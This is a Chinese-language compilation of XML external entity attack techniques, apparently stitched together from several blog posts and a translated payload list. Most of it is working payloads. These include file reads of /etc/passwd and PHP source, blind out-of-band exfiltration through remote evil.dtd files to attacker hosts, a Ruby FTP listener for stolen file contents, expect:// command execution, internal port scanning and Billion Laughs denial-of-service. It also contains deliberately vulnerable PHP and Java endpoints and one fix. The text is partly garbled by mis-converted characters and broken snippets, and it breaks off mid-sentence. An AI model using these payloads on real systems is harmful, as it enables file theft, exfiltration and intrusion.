# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";`?>
file_get_content('php://input')接收post数据,xml数据
XML.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>
致使能够读出etc/passwd文件
在使用file://协议时,有如下几种格式:
file://host/path
* Linux
file:///etc/passwd
* Unix
file://localhost/etc/fstab
file:///localhost/etc/fstab
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
* (下面这两种在某些浏览器里是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可使用php://filter协议来进行读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
基于netdoc的XXE攻击
==XML文档是用Java解析的话,可利用netdoc
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
读取本地文件:
以php环境为例,index.php内容以下:
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
利用各类协议能够读取文件。好比file协议,这里的测试环境为win,因此这里我选择读取h盘里的sky.txt。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///h://sky.txt">]>
<root>&file;</root>
将上述xml进行url编码后传进去,能够发现读取了sky.txt中的内容。
注:
若是要读取php文件,由于php、html等文件中有各类括号<,>,若直接用file读取会致使解析错误,此时能够利用php://filter将内容转换为base64后再读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
一样先通过url编码后再传入。
借助各类协议如http,XXE能够协助扫描内网,可能能够访问到内网开放WEB服务的Server,并获取其余信息
利用http协议http://url/file.ext,替换标准poc中相应部分便可,这种状况比较不稳定,根据不一样xml解析器会获得不一样的回显报错结果,例如我87关闭,88端口有web服务,有的没有明显的链接错误信息,因此没法判断端口的状态 也能够探测内网端口:
该CASE是探测192.168.1.1的80、81端口,经过返回的“Connection refused”能够知道该81端口是closed的,而80端口是open的。
加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型DTD加载的时候,首先会使用DTD_name来检索,若是没法找到,则经过DTD_location来寻找此公共DTD。利用DTD_location,在必定的环境下能够用来作内网探测。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>
因解析器种类不一样,因此针对XXE攻击进行端口扫描须要一个合适的环境才可以实现,例如:有明显的链接错误信息。
利用DTD进行数据回显
有时读取文件时没有回显,这时能够利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;
evil.dtd
在evil.dtd中将%file实体的内容拼接到url后,而后利用burp等工具,查看url请求就能得到咱们须要的内容
或者:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。
POC:
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
或者:
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串
此时解析数据时未作特别处理,便可能形成拒绝服务攻击。
此外还有一种可能形成拒绝服务的Payload,借助读取/dev/random实现.
PHP下须要expect扩展
该CASE是在安装expect扩展的PHP环境里执行系统命令,其余协议也有可能能够执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "expect://dir .">
]>
<root><foo>&content;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
bind xxe
对于无回显的xml注入:
在你的vps上放1.xml文件,内容以下:
<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">
再在你的vps上放xxe.php,内容以下:
<?php
file_put_contents("/tmp/1.txt", $_GET['f']);
?>
最后在能够写xml的页面写以下:
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/1.xml">
%r;
%all;
%s;
]>
访问1.txt就能够得到flag的内容
该CASE是攻击内网struts2网站,远程执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY exp SYSTEM "http://192.168.1.103/payload">
]>
<root><foo>&exp;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
若是包含文件失败,多是因为读取php等文件时文件自己包含的<等字符.可使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
利用外部实体构造payload向内网其余机器发出请求
支持实体测试:
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若是解析过程变的很是缓慢,则代表测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
Billion Laughs 攻击 (Klein, 2002)
译者注:“Billion Laughs” 攻击 —— 经过建立一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而致使DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,由于许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
这个文件只有 30 Kb大小但却有 11111 个实体引用,超出了合法的实体引用数量上限。
Billion Laughs 攻击 – 参数实体 (Späth, 2015)
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
文件位于:http://publicServer.com/dos.dtd
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY g "%a4;" >
XML 二次爆破 DDoS 攻击
<!DOCTYPE data [
<!ENTITY a0 "dosdosdosdosdosdos...dos"
]>
<data>&a0;&a0;...&a0;</data>
通常实体递归
最好不要使用递归 — [WFC: No Recursion]
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
外部通常实体 (Steuck, 2002)
这种攻击方式是经过申明一个外部通常实体,而后引用位于网上或本地的一个大文件(例如:C:/pagefile.sys 或/dev/random)。
然而,这种攻击只是让解析器解析一个 巨大的 XML 文件而已。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
基本的 XXE 攻击 (Steuck, 2002)
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
咱们以文件 ‘/sys/power/image_size’ 为例,由于它很是短小只有一行且不包含特殊字符。
这种攻击须要一个直接的反馈通道而且读取文件受到 XML 中禁止字符的限制,如 “<” 和 “&”。
若是这些被禁止的字符出如今要访问的文件中(如:/etc/fstab),则 XML 解析器会抛出一个错误并中止解析。
使用 netdoc 的 XXE 攻击
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
这类攻击为高级的 XXE 攻击,用于绕过对基本的 XXE 攻击的限制和 OOB(外带数据) 攻击
绕过基本 XXE 攻击的限制 (Morgan, 2014)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
%dtd;
]>
<data>&all;</data>
文件位于:http://publicServer.com/parameterEntity_core.dtd
<!ENTITY all '%start;%goodies;%end;'>
滥用属性值的 XXE 攻击
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data attrib='&internal;'/>
文件位于:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
没有能够直接回传的通道不意味着就不存在 XXE 攻击。
XXE OOB 攻击 (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
文件位于:http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
XXE OOB 攻击 – 参数实体 (Yunusov, 2013)
和前面的攻击很像,区别仅在于只使用参数实体。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位于:http://publicServer.com/parameterEntity_sendhttp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">
%param1;
XXE OOB 攻击 – 参数实体 FTP (Novikov, 2014)
使用 FTP 协议,攻击者能够读取到任意长度的文件。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位于:http://publicServer.com/parameterEntity_sendftp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
这种攻击须要配置 FTP 服务器。不过,这个 POC 代码只须要稍做调整便可用于任意的解析器上。
SchemaEntity 攻击 (Späth, 2015)
这里有三种不一样的攻击方式:(i) schemaLocation,(ii) noNamespaceSchemaLocation 和 (iii) XInclude。
schemaLocation
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
noNamespaceSchemaLocation
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>
XInclude
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://192.168.2.31/&internal;" parse="text"></xi:include></data>
文件位于:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
DOCTYPE
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
外部通常实体 (Steuck, 2002)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
]>
<data>&remote;</data>
尽管为了避免引发错误,最好是引用格式良好的 XML 文件(或者任何文本文件),但一些解析器可能仍是会调用 URL 引用格式有问题的文件。
外部参数实体 (Yunusov, 2013)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
%remote;
]>
<data>4</data>
文件位于:http://publicServer.com/url_invocation_parameterEntity.dtd
<!ELEMENT data2 (#ANY)>
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://publicServer.com/file.xml"></xi:include></data>
文件位于:http://publicServer.com/file.xml
<?xml version='1.0' encoding='utf-8'?><data>it_works</data>
schemaLocation
<?xml version='1.0'?>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
文件位于:http://publicServer.com/url_invocation_schemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
或者使用这个文件
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://test.com/attack">
<xs:element name="data" type="xs:string"/>
</xs:schema>
noNamespaceSchemaLocation
<?xml version='1.0'?>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
文件位于:http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
XInclude 攻击 (Morgan, 2014)
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="/sys/power/image_size"></xi:include></data>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/sys/power/image_size')">
</xsl:value-of></xsl:template>
</xsl:stylesheet>
点:libxml2.9.1及之后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中须要将libxml低于libxml2.9.1的版本编译到PHP中,可使用phpinfo()查看libxml的版本信息。
参考连接:
http://vulhub.org/#/environments/php_xxe/
有回显有报错测试代码:
1.<?php
2.$xml=simplexml_load_string($_POST['xml']);
3.print_r($xml);
4.?>
无回显无报错测试代码:
1.<?php
2.$xml=@simplexml_load_string($_POST['xml']);
3.?>
利用xxe漏洞能够进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,能够理解是使用xxe进行SSRF的利用,基本上啥都能作了,通常xxe利用分为两大场景:有回显和无回显。有回显的状况能够直接在页面中看到Payload的执行结果或现象,无回显的状况又称为blind xxe,可使用外带数据通道提取数据。
这种可以回显的,直接写一个参数+外部实体而后调用就行了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<foo>
<value>&file;</value>
</foo>
有回显的状况可使用以下的两种方式进行XXE注入攻击。
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
固然也能够进行内网站点的入侵(属于SSRF的内容 后续补充)。
首先在vps中创建evil.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://118.89.16.36/x/?id=%file;'>"
>
%all;
而后xml中书写以下形式
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://118.89.16.36/evil.dtd">
%dtd;
%send;
]>
可使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,而后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evil.dtd的内容,内部的%号要进行实体编码成%。
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>”
>
%all;
有报错直接查看报错信息。
无报错须要访问接受数据的服务器中的日志信息,能够看到通过base64编码过的数据,解码后即可以获得数据。
DTD文档支持这么一种定义,直接在定义文档类型的时候引入外部DTD文档,以后就是一样的姿式了
(本地测试没有成功,多是姿式问题)
<!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd">
<root>&test;</root>
evil.dtd
<!ENTITY test SYSTEM "file:///etc/passwd">
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
这个文件里面存在11111个实体引用,超出了合法的实体引用数量上限
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
1.任意读取txt文件正常,读取php文件报错。由于php文件自己包含<等字符,利用php://filter的base64编码绕过
php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE entity [
<!ENTITY file SYSTEM ENTITY e SYSTEM “php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org”>
]>
<wooyun>
<external>&file;</external>
</wooyun>
2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件
对
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
错
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
里层嵌套为字符实体 例如 %为 %web服务器uri get请求长度通常限制在2k,NET的System.XML会自动进行URLencode;
3.形参实体(就是带%的)只能在dtd(<!DOCTYPE ANY[])里面调用,其余实体要用'&'开头,';'结尾
4.不明白为何无回显的状况下必定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>)
5.平时burp 抓包 能够在请求头添加 Content-type:application/xml
并添加 xml语句若是报错 或执行则有可能存在xxe漏洞,不断根据response fuzz便可
6.咱们既然可使用file协议读取本地文件,固然也可使用http协议访问来形成SSRF攻击,甚至可使用gopher协议。
具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。
若是PHP支持except模块,咱们还能够利用except模块来执行系统命令。
简单的SSRF攻击实例以下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>
而后就能够监听到访问了。
SSRF攻击能够成功的话,咱们天然能够进而攻击企业内网的系统。
其余更多的危害各位能够参考OWASP出的文档:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
XXE漏洞目前还未受到普遍关注,Wooyun上几个XXE引发的安全问题:
借助XXE,攻击者能够实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不一样XML解析器,对外部实体有不一样处理规则,在PHP中默认处理的函数为:
xml_parse
和
simplexml_load
xml_parse的实现方式为expat库,默认状况不会解析外部实体,而simplexml_load默认状况下会解析外部实体,形成安全威胁.
除PHP外,在Java,Python等处理xml的组件及函数中均可能存在此问题
形成Java XXE漏洞的代码,真的很是多。好比下面的漏洞代码。
import org.apache.commons.digester3.Digester;
maven配置:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-digester3</artifactId>
<version>3.2</version>
</dependency>
代码
@RequestMapping("/xxe")
@ResponseBody
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
这个代码使用Digester类,因此最后修复代码须要使用该类的setFeature方法。
修复代码:
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
// parse解析以前设置
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不容许使用DOCTYPE。因此,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为<!DOCTYPE,毕竟设置的features为disallow-doctype-decl。
其余类形成的XXE修复方案,能够参考这个文档。http://find-sec-bugs.github.io/bugs.htm
该payload读取/etc/redhat-release文件内容。该文件内容通常状况下只有一行,因此用来证实XXE的任意文件读取,还比较合适。
URL编码后的payload:
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>EM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>
解码为:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/>
http://test.joychou.me:8081/evil.xml的内容以下:
<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">;
用这个的方式,能够来证实任意文件读取。
Java在Blind XXE的利用上,读取文件会有些问题。
在PHP中,咱们可使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。
Java中,没这样编码方法,因此若是要读取换行的文件,通常使用FTP协议,HTTP协议会因为存在换行等字符,请求会发送失败。
FTP读取方法能够参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html
开启一个匿名登陆的FTP Server,端口为33的ruby脚本,ftp.rb
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
http://test.joychou.me:8081/evil.xml的内容以下:
<!ENTITY % payload SYSTEM "file:///tmp/1.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>">
目的是读取XXE漏洞服务器上的/tmp/1.txt文件。
test.joychou.me服务器上执行ruby ftp.rb
访问URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E
/tmp/1.txt的内容为
$ cat /tmp/1.txt
test
xxe
ftp
FTP Server收到如下内容:
New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp
能够看到彻底读取了/tmp/1.txt的内容,而且还包括XXE漏洞服务器的内网IP 172.17.29.150。
不过有些字符只要存在,文件内容就会读取不到,好比#等字符,哪行有这些字符,读取前一行就结束。你们能够自行测试。
把修复代码放在了github上。
https://github.com/JoyChou93/java-sec-code
环境介绍:
1.PHP 7.x 最新版
2.Apache 2.x 稳定版
3.libxml 2.8.0
libxml2.9.0之后,默认不解析外部实体,致使XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
使用以下命令编译并启动环境:
docker-compose build docker-compose up -d
编译时间较长,请耐心等待。
环境启动后,访问http://your-ip/index.php便可看到phpinfo,搜索libxml便可看到其版本为2.8.0。
Web目录为./www,其中包含4个文件:
